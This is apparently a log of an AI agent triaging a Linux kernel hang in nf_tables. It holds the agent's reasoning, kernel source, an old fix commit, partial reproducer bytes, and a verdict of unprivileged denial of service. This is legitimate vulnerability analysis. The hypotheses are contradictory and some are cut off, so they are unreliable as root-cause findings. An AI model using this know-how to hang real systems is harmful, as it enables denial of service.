thoughts: 1791
Thoughts: **Root Cause Analysis of nf_tables_commit Hang**
Okay, let's break this down. My initial hunch was that `nf_tables_commit` might be directly grabbing the `rtnl_lock`, causing the hang. But after carefully tracing potential call paths like `nft_obj_commit_update`, `nft_unregister_flowtable_net_hooks`, `nft_set_commit_update`, `nf_tables_commit_audit_log`, and `nft_gc_seq_end`, I can see that's not the case. It doesn't take the `rtnl_lock` directly.
So, if `crda_timeout_work` is hanging on `rtnl_lock`, it means another thread *must* be holding it and the reproducer is blocking that thread. The reproducer itself is pretty simple: it creates a netlink socket and sends a message. No direct `rtnl_lock` calls there either. This suggests a lock inversion: some other thread holds `rtnl_lock` and waits on something the reproducer holds.
Looking at the reproducer, it uses `nf_tables_commit` and `nf_tables_newrule`, which implies it's holding `commit_mutex`. If the reproducer holds `commit_mutex` indefinitely, and another thread takes `rtnl_lock` *before* attempting to acquire `commit_mutex`, we have a deadlock. This could explain `crda_timeout_work` hanging. The question is, how does the reproducer hold `commit_mutex` forever?
I need to find an infinite loop within `nf_tables_newrule` or `nf_tables_commit` that could cause this. The code checks `nf_tables_validate` and will return `-EAGAIN` if `nft_table_validate` returns less than zero. Let's see if something is going wrong in `nft_table_validate`.
I then looked at `nft_synproxy_validate`. It has a check based on `ctx->family` and calls `nft_chain_validate_hooks`. Let's look at that. In `nft_chain_validate_hooks`, if the chain is a base chain, it checks if `(1 << basechain->ops.hooknum) & hook_flags` is non-zero. The reproducer sets `NFTA_HOOK_HOOKNUM` to 1, meaning `basechain->ops.hooknum` is 1. Since `(1 << 1) & 6` is 2, and 2 != 0, it passes.
But what if the reproducer set `NFTA_HOOK_HOOKNUM` to 0? In that case, `basechain->ops.hooknum` would be 0, and `(1 << 0) & 6` would be `1 & 6 = 0`, so it would return `-EOPNOTSUPP`. That would make `nft_synproxy_validate` return `-EOPNOTSUPP`.
Okay, so I went back to the reproducer and checked `NFTA_HOOK_HOOKNUM` again. The value is `00 00 00 01`, which is 1. If it was 0, then we get `-EOPNOTSUPP`! It causes `nft_chain_validate_hooks`, `nft_synproxy_validate`, `nft_chain_validate`, `nft_table_validate` to return negative values.
Ah ha! If `nft_table_validate` returns ANY negative value, `nf_tables_validate` returns `-EAGAIN`. This is the crucial point. `nf_tables_commit` returns `-EAGAIN`! And `nfnetlink_rcv_batch` *retries the batch* if it finds an error, specifically setting `status |= NFNL_BATCH_REPLAY`. It will retry FOREVER! Because the rule is invalid, but `nf_tables_validate` treats all negative values as `-EAGAIN` and retries! This is why `commit_mutex` is held forever. The issue lies within `nfnetlink_rcv_batch` and this improper handling of error codes.
|
| 137/2 |
2026/05/31 10:32 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_validate]
Results: map[SourceCode:10079: static int nf_tables_validate(struct net *net)
10080: {
10081: struct nftables_pernet *nft_net = nft_pernet(net);
10082: struct nft_table *table;
10083:
10084: list_for_each_entry(table, &nft_net->tables, list) {
10085: switch (table->validate_state) {
10086: case NFT_VALIDATE_SKIP:
10087: continue;
10088: case NFT_VALIDATE_NEED:
10089: nft_validate_state_update(table, NFT_VALIDATE_DO);
10090: fallthrough;
10091: case NFT_VALIDATE_DO:
10092: if (nft_table_validate(net, table) < 0)
10093: return -EAGAIN;
10094:
10095: nft_validate_state_update(table, NFT_VALIDATE_SKIP);
10096: break;
10097: }
10098: }
10099:
10100: return 0;
10101: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 138/2 |
2026/05/31 10:32 |
llm |
expert |
0m
Model:
Tokens:
input: 147523
output: 29
thoughts: 4554
Thoughts: **The Puzzle of the Persistent Hang**
Okay, so I'm staring at this code, and it's screaming "infinite loop" at me. The core of it seems to be in how the Netfilter table validation and commit process handles errors. If `nft_table_validate` bails out with `-EAGAIN`, it triggers a retry mechanism: `nf_tables_commit` goes again, which retries infinitely through `nfnetlink_rcv_batch`. It's like a recursive nightmare. This retry loop repeatedly acquires and releases the `commit_mutex`. Because this mutex is released, another thread, such as a network device event handler, *can* potentially grab it during these retries.
This got me thinking, if a netdev event snatches that mutex, it should eventually release `rtnl_lock`, which is what I'm guessing is blocked on. This would mean `crda_timeout_work` wouldn't hang forever, but…it does! So, what's going on?
I dove into `nfnetlink_rcv_batch`, and it releases `nfnl_lock` before retrying, which means it shouldn't hold up things. The `ss->abort` function, which is essentially `nf_tables_abort`, *does* drop the `commit_mutex`, which is essential. The process then jumps to replay, which eventually takes `nfnl_lock` again and calls `ss->valid_genid` which also involves `commit_mutex`.
Okay, so the `commit_mutex` is being released and retaken – the fair behavior of Linux mutexes (tickets, queued mutexes) would ensure that the netdev event gets it eventually. This strongly suggests that a starvation of that thread is not the issue, but…why is `crda_timeout_work` still hanging?
I had to circle back to what might be causing the `-EAGAIN` in the first place. My gut was saying it could be a validation bug. `nft_table_validate` returns what `nft_chain_validate` yields which depends on other functions `expr->ops->validate` for example. If `nf_tables_validate` returns `-EAGAIN`, `nf_tables_commit` also returns `-EAGAIN`. Then `nf_tables_abort` rolls back the operation (deletes rule, chain, and table) and retries. This is a very tight loop of table creation, committing, validation, failing, aborting, and retrying.
The loop, however, releases the `commit_mutex` so *other* threads *can* run! Now, if the loop is consuming 100% CPU on a single-CPU system, other threads will starve. But, I checked: `nft_table_validate` calls `cond_resched()`, which *should* yield the CPU to other threads. So that isn't the problem.
Alright, what if the hang is caused by other functions? `nf_tables_newrule` and `nf_tables_commit` don't seem to be the culprit. I checked `nf_tables_abort`, but it does not have any infinite loops.
Perhaps `request_module` is called with `rtnl_lock` held? If `modprobe` then hangs, we would have a forever held `rtnl_lock` but the code doesn't seem to invoke it.
Wait! I see it! The problem is that `nf_tables_abort` releases `commit_mutex` and reacquires it but while `nfnl_lock` is held. So is `nfnl_lock` the problem? No! `nfnetlink_rcv_batch` drops `nfnl_lock` before entering the infinite loop and `ss->abort` is called after `nfnl_lock` has been dropped.
Aha! What if the bug is in `nf_synproxy_ipv4_init`? No, because it requires `nf_hook_mutex` which does not get stuck in the reproducer case.
So, I circled back to a `nft_table_validate` returning `-EAGAIN`. Could the tight retry loop itself be starving other threads if the kernel is not preemptible?
I confirmed: there's NO `cond_resched()` between retries in the `nfnetlink_rcv_batch`. A kernel tight loop could starve other threads. If the netdev event is scheduled on the same CPU, it'll never run. BUT: `nft_table_validate` has `cond_resched()` calls! Which implies that other threads *will* run and the hang must not be due to starvation.
Back to the reproducer. Is there an infinite loop in the
|
| 139/2 |
2026/05/31 10:33 |
tool |
git-log |
0m
Args: map[MessageRegexps:[nf_tables infinite loop validate]]
Results:
|
| 140/2 |
2026/05/31 10:33 |
llm |
expert |
0m
Model:
Tokens:
input: 153144
output: 30
thoughts: 20
Thoughts: Okay, here's my take on those thoughts, framed as an expert's internal monologue:
**Investigating a Potential Network Issue**
Right, let's dig into this. I'm thinking, based on context, that we're dealing with a networking problem, specifically, one that might involve `nf_tables`. That immediately triggers a mental checklist: connection tracking, firewall rules, and potential resource exhaustion. Then, `EAGAIN` pops into my head. That's a classic indicator of a temporary resource issue – a socket buffer filling up, a process not being able to grab the resources it needs *right now*, but perhaps it will later. Finally, the keyword `validate` tells me we're likely concerned with some sort of state checking. Is this related to a configuration or a network flow verification?
So, I'm forming a working hypothesis: we've got something going on with `nf_tables` that's causing intermittent `EAGAIN` errors, probably during state validation or some other rule-related check. The underlying issue could range from a simple rule misconfiguration to a more complex race condition or resource constraint within the `nf_tables` framework itself. We'll need to look at logging, rule dumps, and system load to nail down the precise root cause. Time to fire up the tools and get to work.
|
| 141/2 |
2026/05/31 10:33 |
tool |
git-log |
0m
Args: map[MessageRegexps:[nf_tables EAGAIN validate]]
Results: map[Output:7ffc7481153b netfilter: nft_set_hash: skip duplicated elements pending gc run
]
|
| 142/2 |
2026/05/31 10:34 |
llm |
expert |
0m
Model:
Tokens:
input: 153518
output: 23
thoughts: 17
Thoughts: Okay, here's my take on those thoughts, tailored for an expert audience:
**Investigating a Possible Synproxy Hang/Loop**
Alright, the initial hunch is pointing towards a potential issue with `synproxy`, and I need to dig deeper. My immediate thought is to start a targeted search. I'll need to use specific keywords to narrow the scope. So, I'm thinking, let's kick things off with a search using `synproxy` as the core term, and then combine that with either `hang` or `loop`. That should filter out a lot of noise and point me towards reports or documentation that explicitly link the `synproxy` functionality to situations where the system is unresponsive or caught in an indefinite cycle. This is a good starting point to identify any known issues, workarounds, or configuration pitfalls. I'm expecting this initial search to provide a manageable subset of information that I can then analyze in more detail. I'm hoping to quickly identify a relevant problem.
|
| 143/2 |
2026/05/31 10:34 |
tool |
git-log |
0m
Args: map[MessageRegexps:[synproxy hang]]
Results: map[Output:b546b5752695 selftests/bpf: update tcp_custom_syncookie to use scalar packet offset
9a4c57f52b5e bpf: Track aligned st store as imprecise spilled registers
18a433b62061 bpf: track aligned STACK_ZERO cases as imprecise spilled registers
41f6f64e6999 bpf: support non-r10 register spill/fill to/from stack in precision tracking
977bc146d4eb selftests/bpf: track tcp payload offset as scalar in xdp_synproxy
fde2a3882bd0 bpf: support precision propagation in the presence of subprogs
6715df8d5d24 bpf: Allow reads from uninit stack
be2ef8161572 bpf: allow precision tracking for programs with subprogs
b4c2b9593a1c net/netfilter: Add unstable CT lookup helpers for XDP and TC-BPF
5fc177ab7594 netfilter: synproxy: Fix out of bounds when parsing TCP options
]
|
| 144/2 |
2026/05/31 10:34 |
llm |
expert |
1m
Model:
Tokens:
input: 154048
output: 30
thoughts: 20
Thoughts: Okay, here's my take on those thoughts, tailored for an expert audience:
**Investigating a Potential Network Tables Stall**
Alright, I need to get to the bottom of this. My gut tells me there's a potential issue with `nf_tables` that's causing some kind of interruption. Let's see... I'm thinking I need to zero in on potential causes, so I'm going to start looking for traces of `nf_tables`, specifically in conjunction with `EAGAIN` which always makes me think of resource contention, along with that other interesting signal, `abort`, indicating a crash condition. These three together often tell a story; are we exhausting resources and aborting? Or are we hitting a known bug? It's time to dig into the logs and see what clues I can uncover.
|
| 145/2 |
2026/05/31 10:35 |
tool |
git-log |
0m
Args: map[MessageRegexps:[nf_tables EAGAIN abort]]
Results: map[Output:03c1f1ef1584 netfilter: Cleanup nft_net->module_list from nf_tables_exit_net()
1d305ba40eb8 netfilter: nf_tables: fix infinite loop when expr is not available
eb014de4fd41 netfilter: nf_tables: autoload modules from the abort path
71ad00c50d77 netfilter: nf_tables: fix module unload race
a907e36d54e0 netfilter: nf_tables: use reverse traversal commit_list in nf_tables_abort
]
|
| 146/2 |
2026/05/31 10:35 |
llm |
expert |
1m
Model:
Tokens:
input: 154421
output: 25
thoughts: 38
Thoughts: Okay, here's my interpretation of that commit message, expressed as my internal thought process:
**Diving into a Netfilter Bugfix**
Right, *that* commit. `1d305ba40eb8 netfilter: nf_tables: fix infinite loop when expr is not available`. Interesting. Let's dig in and see what's what. I know netfilter's *very* intimately. Infinite loops in the kernel are always nasty, especially within a critical component like the packet filtering framework. The mention of `nf_tables` immediately indicates a potential vulnerability related to the newer, more flexible table infrastructure. I'll need to understand where the expression ( `expr` ) is failing, what kind of expression it is, and exactly *how* that missing expression is causing this loop. I'll also need to see if this affects other parts of the netfilter core. This could be a significant security issue if not handled correctly. Time to get my hands dirty.
|
| 147/2 |
2026/05/31 10:36 |
tool |
git-show |
0m
Args:
Results: map[Output:commit 1d305ba40eb8081ff21eeb8ca6ba5c70fd920934
Author: Florian Westphal <fw@strlen.de>
Date: Thu Mar 5 11:15:36 2020 +0100
netfilter: nf_tables: fix infinite loop when expr is not available
nft will loop forever if the kernel doesn't support an expression:
1. nft_expr_type_get() appends the family specific name to the module list.
2. -EAGAIN is returned to nfnetlink, nfnetlink calls abort path.
3. abort path sets ->done to true and calls request_module for the
expression.
4. nfnetlink replays the batch, we end up in nft_expr_type_get() again.
5. nft_expr_type_get attempts to append family-specific name. This
one already exists on the list, so we continue
6. nft_expr_type_get adds the generic expression name to the module
list. -EAGAIN is returned, nfnetlink calls abort path.
7. abort path encounters the family-specific expression which
has 'done' set, so it gets removed.
8. abort path requests the generic expression name, sets done to true.
9. batch is replayed.
If the expression could not be loaded, then we will end up back at 1),
because the family-specific name got removed and the cycle starts again.
Note that userspace can SIGKILL the nft process to stop the cycle, but
the desired behaviour is to return an error after the generic expr name
fails to load the expression.
Fixes: eb014de4fd418 ("netfilter: nf_tables: autoload modules from the abort path")
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index f9e60981bd36..38c680f28f15 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -7388,13 +7388,8 @@ static void nf_tables_module_autoload(struct net *net)
list_splice_init(&net->nft.module_list, &module_list);
mutex_unlock(&net->nft.commit_mutex);
list_for_each_entry_safe(req, next, &module_list, list) {
- if (req->done) {
- list_del(&req->list);
- kfree(req);
- } else {
- request_module("%s", req->module);
- req->done = true;
- }
+ request_module("%s", req->module);
+ req->done = true;
}
mutex_lock(&net->nft.commit_mutex);
list_splice(&module_list, &net->nft.module_list);
@@ -8177,6 +8172,7 @@ static void __net_exit nf_tables_exit_net(struct net *net)
__nft_release_tables(net);
mutex_unlock(&net->nft.commit_mutex);
WARN_ON_ONCE(!list_empty(&net->nft.tables));
+ WARN_ON_ONCE(!list_empty(&net->nft.module_list));
}
static struct pernet_operations nf_tables_net_ops = {
]
|
| 148/2 |
2026/05/31 10:36 |
llm |
expert |
0m
Model:
Tokens:
input: 155624
output: 41
thoughts: 2524
Thoughts: **Analyzing the Infinite Loop in the Netfilter Code**
Okay, let's break this down. First, this commit, `1d305ba40eb8`, is from way back in 2020. The bug report is for a much more recent kernel (probably syzkaller #0, which is likely a 6.x kernel). My goal is to figure out if there is an infinite loop and under what conditions.
The initial thought is whether `nft_request_module` could be called for `nft-expr-synproxy`. `nft_expr_type_get` calls `nft_expr_type_request_module`, which requests "nft-expr-1-synproxy." If that request results in `-EAGAIN`, it aborts, calls `request_module("nft-expr-1-synproxy")`, and replays. In the replay, the `nft_expr_type_request_module` would return 0 due to the `done` variable being set. Then `nft_request_module` would get called for "nft-expr-synproxy." It would return `-EAGAIN` again, abort, `request_module`, and replay... it would actually *not* loop because `nft_expr_type_request_module` returns 0 on replay and then `nft_request_module` also succeeds. So, no infinite loop in this scenario.
But, *what if* `nft_request_module` *succeeds* in loading the module? If that happens, `nft_expr_type_get` returns the type, `nf_tables_newrule` continues, `nf_tables_commit` is called, and then `nf_tables_validate`. If `nf_tables_validate` returns `-EAGAIN`, the system aborts. In the replay, the module is already loaded. This, in the original analysis, *appeared* to be an infinite loop IF `nf_tables_validate` returns `-EAGAIN`.
So, the key question becomes, when does `nf_tables_validate` return `-EAGAIN`? It seems that `nf_tables_validate` returns `-EAGAIN` if `nft_table_validate` returns a negative value. `nft_table_validate` then returns negative if `nft_chain_validate` returns negative. `nft_chain_validate` in turn returns negative if `expr->ops->validate` returns negative. For synproxy, that's `nft_synproxy_validate`. `nft_synproxy_validate` will return `-EOPNOTSUPP` if `nft_chain_validate_hooks` returns `-EOPNOTSUPP`. That check fails if the chain's hook is *not* in the allowed hooks.
Reviewing the reproducer, the hooknum is `00 00 00 01`, which is 1 in big-endian, meaning the hooknum is 1 (`NF_INET_LOCAL_IN`). `nft_chain_validate_hooks` returns 0 for hooknum 1! Therefore, `nft_synproxy_validate` returns 0. Consequently, `nf_tables_validate` returns 0, and *there is no infinite loop* in *this* scenario.
Now, let me look at the reproducer again.
```
08 00 02 40 32 65 8a eb
08 00 01 40 00 00 00 01
```
`NFTA_HOOK_PRIORITY` is specified with the value `32 65 8a eb` followed by `NFTA_HOOK_HOOKNUM` with the value `00 00 00 01`. Hooknum is still 1.
The next thought is, what if the reproducer creates a chain with `NFPROTO_INET` but the table is `NFPROTO_IPV4`? But this seems fine since synproxy is supported for `NFPROTO_INET`. Also, `nft_synproxy_validate` doesn't return `-EAGAIN` directly, only `-EOPNOTSUPP` or 0.
A deep dive is conducted, considering whether `nf_tables_validate` returns `-EAGAIN` because `nft_table_validate` does. The root cause is likely to be a different reason. Checking the rule's expressions (`NFTA_RULE_EXPRESSIONS`):
```
1c 00 04 80
18 00 01 80
0d 00 01 00 73 79
|
| 149/2 |
2026/05/31 10:37 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_commit]
Results: map[SourceCode:10860: static int nf_tables_commit(struct net *net, struct sk_buff *skb)
10861: {
10862: struct nftables_pernet *nft_net = nft_pernet(net);
10863: const struct nlmsghdr *nlh = nlmsg_hdr(skb);
10864: struct nft_trans_binding *trans_binding;
10865: struct nft_trans *trans, *next;
10866: unsigned int base_seq, gc_seq;
10867: LIST_HEAD(set_update_list);
10868: struct nft_trans_elem *te;
10869: struct nft_chain *chain;
10870: struct nft_table *table;
10871: struct nft_ctx ctx;
10872: LIST_HEAD(adl);
10873: int err;
10874:
10875: if (list_empty(&nft_net->commit_list)) {
10876: mutex_unlock(&nft_net->commit_mutex);
10877: return 0;
10878: }
10879:
10880: nft_ctx_init(&ctx, net, skb, nlh, NFPROTO_UNSPEC, NULL, NULL, NULL);
10881:
10882: list_for_each_entry(trans_binding, &nft_net->binding_list, binding_list) {
10883: trans = &trans_binding->nft_trans;
10884: switch (trans->msg_type) {
10885: case NFT_MSG_NEWSET:
10886: if (!nft_trans_set_update(trans) &&
10887: nft_set_is_anonymous(nft_trans_set(trans)) &&
10888: !nft_trans_set_bound(trans)) {
10889: pr_warn_once("nftables ruleset with unbound set\n");
10890: return -EINVAL;
10891: }
10892: break;
10893: case NFT_MSG_NEWCHAIN:
10894: if (!nft_trans_chain_update(trans) &&
10895: nft_chain_binding(nft_trans_chain(trans)) &&
10896: !nft_trans_chain_bound(trans)) {
10897: pr_warn_once("nftables ruleset with unbound chain\n");
10898: return -EINVAL;
10899: }
10900: break;
10901: default:
10902: WARN_ONCE(1, "Unhandled bind type %d", trans->msg_type);
10903: break;
10904: }
10905: }
10906:
10907: /* 0. Validate ruleset, otherwise roll back for error reporting. */
10908: if (nf_tables_validate(net) < 0) {
10909: nft_net->validate_state = NFT_VALIDATE_DO;
10910: return -EAGAIN;
10911: }
10912:
10913: err = nft_flow_rule_offload_commit(net);
10914: if (err < 0)
10915: return err;
10916:
10917: /* 1. Allocate space for next generation rules_gen_X[] */
10918: list_for_each_entry_safe(trans, next, &nft_net->commit_list, list) {
10919: struct nft_table *table = trans->table;
10920: int ret;
10921:
10922: ret = nf_tables_commit_audit_alloc(&adl, table);
10923: if (ret) {
10924: nf_tables_commit_chain_prepare_cancel(net);
10925: nf_tables_commit_audit_free(&adl);
10926: return ret;
10927: }
10928: if (trans->msg_type == NFT_MSG_NEWRULE ||
10929: trans->msg_type == NFT_MSG_DELRULE) {
10930: chain = nft_trans_rule_chain(trans);
10931:
10932: ret = nf_tables_commit_chain_prepare(net, chain);
10933: if (ret < 0) {
10934: nf_tables_commit_chain_prepare_cancel(net);
10935: nf_tables_commit_audit_free(&adl);
10936: return ret;
10937: }
10938: }
10939: }
10940:
10941: /* step 2. Make rules_gen_X visible to packet path */
10942: list_for_each_entry(table, &nft_net->tables, list) {
10943: list_for_each_entry(chain, &table->chains, list)
10944: nf_tables_commit_chain(net, chain);
10945: }
10946:
10947: /*
10948: * Bump generation counter, invalidate any dump in progress.
10949: * Cannot fail after this point.
10950: */
10951: base_seq = READ_ONCE(nft_net->base_seq);
10952: while (++base_seq == 0)
10953: ;
10954:
10955: WRITE_ONCE(nft_net->base_seq, base_seq);
10956:
10957: gc_seq = nft_gc_seq_begin(nft_net);
10958:
10959: /* step 3. Start new generation, rules_gen_X now in use. */
10960: net->nft.gencursor = nft_gencursor_next(net);
10961:
10962: list_for_each_entry_safe(trans, next, &nft_net->commit_list, list) {
10963: struct nft_table *table = trans->table;
10964:
10965: nft_ctx_update(&ctx, trans);
10966:
10967: nf_tables_commit_audit_collect(&adl, trans, trans->msg_type);
10968: switch (trans->msg_type) {
10969: case NFT_MSG_NEWTABLE:
10970: if (nft_trans_table_update(trans)) {
10971: if (!(table->flags & __NFT_TABLE_F_UPDATE)) {
10972: nft_trans_destroy(trans);
10973: break;
10974: }
10975: if (table->flags & NFT_TABLE_F_DORMANT)
10976: nf_tables_table_disable(net, table);
10977:
10978: table->flags &= ~__NFT_TABLE_F_UPDATE;
10979: } else {
10980: nft_clear(net, table);
10981: }
10982: nf_tables_table_notify(&ctx, NFT_MSG_NEWTABLE);
10983: nft_trans_destroy(trans);
10984: break;
10985: case NFT_MSG_DELTABLE:
10986: case NFT_MSG_DESTROYTABLE:
10987: list_del_rcu(&table->list);
10988: nf_tables_table_notify(&ctx, trans->msg_type);
10989: break;
10990: case NFT_MSG_NEWCHAIN:
10991: if (nft_trans_chain_update(trans)) {
10992: nft_chain_commit_update(nft_trans_container_chain(trans));
10993: nf_tables_chain_notify(&ctx, NFT_MSG_NEWCHAIN,
10994: &nft_trans_chain_hooks(trans));
10995: list_splice(&nft_trans_chain_hooks(trans),
10996: &nft_trans_basechain(trans)->hook_list);
10997: /* trans destroyed after rcu grace period */
10998: } else {
10999: nft_chain_commit_drop_policy(nft_trans_container_chain(trans));
11000: nft_clear(net, nft_trans_chain(trans));
11001: nf_tables_chain_notify(&ctx, NFT_MSG_NEWCHAIN, NULL);
11002: nft_trans_destroy(trans);
11003: }
11004: break;
11005: case NFT_MSG_DELCHAIN:
11006: case NFT_MSG_DESTROYCHAIN:
11007: if (nft_trans_chain_update(trans)) {
11008: nf_tables_chain_notify(&ctx, NFT_MSG_DELCHAIN,
11009: &nft_trans_chain_hooks(trans));
11010: if (!(table->flags & NFT_TABLE_F_DORMANT)) {
11011: nft_netdev_unregister_hooks(net,
11012: &nft_trans_chain_hooks(trans),
11013: true);
11014: }
11015: } else {
11016: nft_chain_del(nft_trans_chain(trans));
11017: nf_tables_chain_notify(&ctx, NFT_MSG_DELCHAIN,
11018: NULL);
11019: nf_tables_unregister_hook(ctx.net, ctx.table,
11020: nft_trans_chain(trans));
11021: }
11022: break;
11023: case NFT_MSG_NEWRULE:
11024: nft_clear(net, nft_trans_rule(trans));
11025: nf_tables_rule_notify(&ctx, nft_trans_rule(trans),
11026: NFT_MSG_NEWRULE);
11027: if (nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD)
11028: nft_flow_rule_destroy(nft_trans_flow_rule(trans));
11029:
11030: nft_trans_destroy(trans);
11031: break;
11032: case NFT_MSG_DELRULE:
11033: case NFT_MSG_DESTROYRULE:
11034: list_del_rcu(&nft_trans_rule(trans)->list);
11035: nf_tables_rule_notify(&ctx, nft_trans_rule(trans),
11036: trans->msg_type);
11037: nft_rule_expr_deactivate(&ctx, nft_trans_rule(trans),
11038: NFT_TRANS_COMMIT);
11039:
11040: if (nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD)
11041: nft_flow_rule_destroy(nft_trans_flow_rule(trans));
11042: break;
11043: case NFT_MSG_NEWSET:
11044: list_del(&nft_trans_container_set(trans)->list_trans_newset);
11045: if (nft_trans_set_update(trans)) {
11046: struct nft_set *set = nft_trans_set(trans);
11047:
11048: WRITE_ONCE(set->timeout, nft_trans_set_timeout(trans));
11049: WRITE_ONCE(set->gc_int, nft_trans_set_gc_int(trans));
11050:
11051: if (nft_trans_set_size(trans))
11052: WRITE_ONCE(set->size, nft_trans_set_size(trans));
11053: } else {
11054: nft_clear(net, nft_trans_set(trans));
11055: /* This avoids hitting -EBUSY when deleting the table
11056: * from the transaction.
11057: */
11058: if (nft_set_is_anonymous(nft_trans_set(trans)) &&
11059: !list_empty(&nft_trans_set(trans)->bindings))
11060: nft_use_dec(&table->use);
11061: }
11062: nf_tables_set_notify(&ctx, nft_trans_set(trans),
11063: NFT_MSG_NEWSET, GFP_KERNEL);
11064: nft_trans_destroy(trans);
11065: break;
11066: case NFT_MSG_DELSET:
11067: case NFT_MSG_DESTROYSET:
11068: nft_trans_set(trans)->dead = 1;
11069: list_del_rcu(&nft_trans_set(trans)->list);
11070: nf_tables_set_notify(&ctx, nft_trans_set(trans),
11071: trans->msg_type, GFP_KERNEL);
11072: break;
11073: case NFT_MSG_NEWSETELEM:
11074: te = nft_trans_container_elem(trans);
11075:
11076: nft_trans_elems_add(&ctx, te);
11077:
11078: if (te->set->ops->commit &&
11079: list_empty(&te->set->pending_update)) {
11080: list_add_tail(&te->set->pending_update,
11081: &set_update_list);
11082: }
11083: nft_trans_destroy(trans);
11084: break;
11085: case NFT_MSG_DELSETELEM:
11086: case NFT_MSG_DESTROYSETELEM:
11087: te = nft_trans_container_elem(trans);
11088:
11089: nft_trans_elems_remove(&ctx, te);
11090:
11091: if (te->set->ops->commit &&
11092: list_empty(&te->set->pending_update)) {
11093: list_add_tail(&te->set->pending_update,
11094: &set_update_list);
11095: }
11096: break;
11097: case NFT_MSG_NEWOBJ:
11098: if (nft_trans_obj_update(trans)) {
11099: nft_obj_commit_update(&ctx, trans);
11100: nf_tables_obj_notify(&ctx,
11101: nft_trans_obj(trans),
11102: NFT_MSG_NEWOBJ);
11103: } else {
11104: nft_clear(net, nft_trans_obj(trans));
11105: nf_tables_obj_notify(&ctx,
11106: nft_trans_obj(trans),
11107: NFT_MSG_NEWOBJ);
11108: nft_trans_destroy(trans);
11109: }
11110: break;
11111: case NFT_MSG_DELOBJ:
11112: case NFT_MSG_DESTROYOBJ:
11113: nft_obj_del(nft_trans_obj(trans));
11114: nf_tables_obj_notify(&ctx, nft_trans_obj(trans),
11115: trans->msg_type);
11116: break;
11117: case NFT_MSG_NEWFLOWTABLE:
11118: if (nft_trans_flowtable_update(trans)) {
11119: nft_trans_flowtable(trans)->data.flags =
11120: nft_trans_flowtable_flags(trans);
11121: nf_tables_flowtable_notify(&ctx,
11122: nft_trans_flowtable(trans),
11123: &nft_trans_flowtable_hooks(trans),
11124: NFT_MSG_NEWFLOWTABLE);
11125: list_splice(&nft_trans_flowtable_hooks(trans),
11126: &nft_trans_flowtable(trans)->hook_list);
11127: } else {
11128: nft_clear(net, nft_trans_flowtable(trans));
11129: nf_tables_flowtable_notify(&ctx,
11130: nft_trans_flowtable(trans),
11131: NULL,
11132: NFT_MSG_NEWFLOWTABLE);
11133: }
11134: nft_trans_destroy(trans);
11135: break;
11136: case NFT_MSG_DELFLOWTABLE:
11137: case NFT_MSG_DESTROYFLOWTABLE:
11138: if (nft_trans_flowtable_update(trans)) {
11139: nf_tables_flowtable_notify(&ctx,
11140: nft_trans_flowtable(trans),
11141: &nft_trans_flowtable_hooks(trans),
11142: trans->msg_type);
11143: nft_unregister_flowtable_net_hooks(net,
11144: nft_trans_flowtable(trans),
11145: &nft_trans_flowtable_hooks(trans));
11146: } else {
11147: list_del_rcu(&nft_trans_flowtable(trans)->list);
11148: nf_tables_flowtable_notify(&ctx,
11149: nft_trans_flowtable(trans),
11150: NULL,
11151: trans->msg_type);
11152: nft_unregister_flowtable_net_hooks(net,
11153: nft_trans_flowtable(trans),
11154: &nft_trans_flowtable(trans)->hook_list);
11155: }
11156: break;
11157: }
11158: }
11159:
11160: nft_set_commit_update(&set_update_list);
11161:
11162: nft_commit_notify(net, NETLINK_CB(skb).portid);
11163: nf_tables_gen_notify(net, skb, NFT_MSG_NEWGEN);
11164: nf_tables_commit_audit_log(&adl, nft_net->base_seq);
11165:
11166: nft_gc_seq_end(nft_net, gc_seq);
11167: nft_net->validate_state = NFT_VALIDATE_SKIP;
11168: nf_tables_commit_release(net);
11169:
11170: return 0;
11171: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 150/2 |
2026/05/31 10:37 |
llm |
expert |
5m
Model:
Tokens:
input: 164635
output: 66
thoughts: 62913
|
| 151/2 |
2026/05/31 10:42 |
tool |
set-results |
0m
Args: map[DenialOfService:true Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:true UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
Results: map[DenialOfService:true Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:true UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
|
| 152/2 |
2026/05/31 10:42 |
llm |
expert-compressor |
0m
Model:
Reply: **1. Approaches Tried & Results:**
* **Analyzed `crda_timeout_work`:** Read `net/wireless/reg.c` to understand the hung task. Found that `crda_timeout_work` blocks on `rtnl_lock()`.
* **Analyzed Reproducer Payload:** Grepped for `synproxy` in `net/netfilter/` and read `nft_synproxy.c` and `nf_synproxy_core.c` to understand the `NFT_BATCH` netlink message sent by the reproducer.
* **Traced Netfilter Initialization:** Examined `nf_register_net_hooks`, `nf_ct_netns_get`, and `nft_synproxy_do_init` to check for `rtnl_lock` usage. Found they primarily use `nf_hook_mutex` and `nf_ct_proto_mutex`.
* **Traced Netlink Batch Processing:** Investigated `nfnetlink_rcv_batch`, `nf_tables_newrule`, `nf_tables_commit`, and `nf_tables_abort` to understand how the batch is processed and where it might hang.
* **Investigated Module Loading:** Searched for `request_module` in `net/netfilter/` because module loading can cause deadlocks or delays. Found `nft_request_module` and `nf_tables_module_autoload`.
* **Git Log Search:** Searched for past infinite loops in `nf_tables` involving `EAGAIN` and `abort`. Found commit `1d305ba40eb8` ("netfilter: nf_tables: fix infinite loop when expr is not available"), which describes a scenario where `nfnetlink_rcv_batch` replays a batch infinitely due to `request_module` and `-EAGAIN`.
**2. Current Hypotheses & Active Lines of Investigation:**
* **Primary Issue is an Infinite Loop:** The hung task in `crda_timeout_work` (waiting for `rtnl_lock()`) is likely a secondary symptom of CPU starvation or a deadlock caused by the netfilter subsystem.
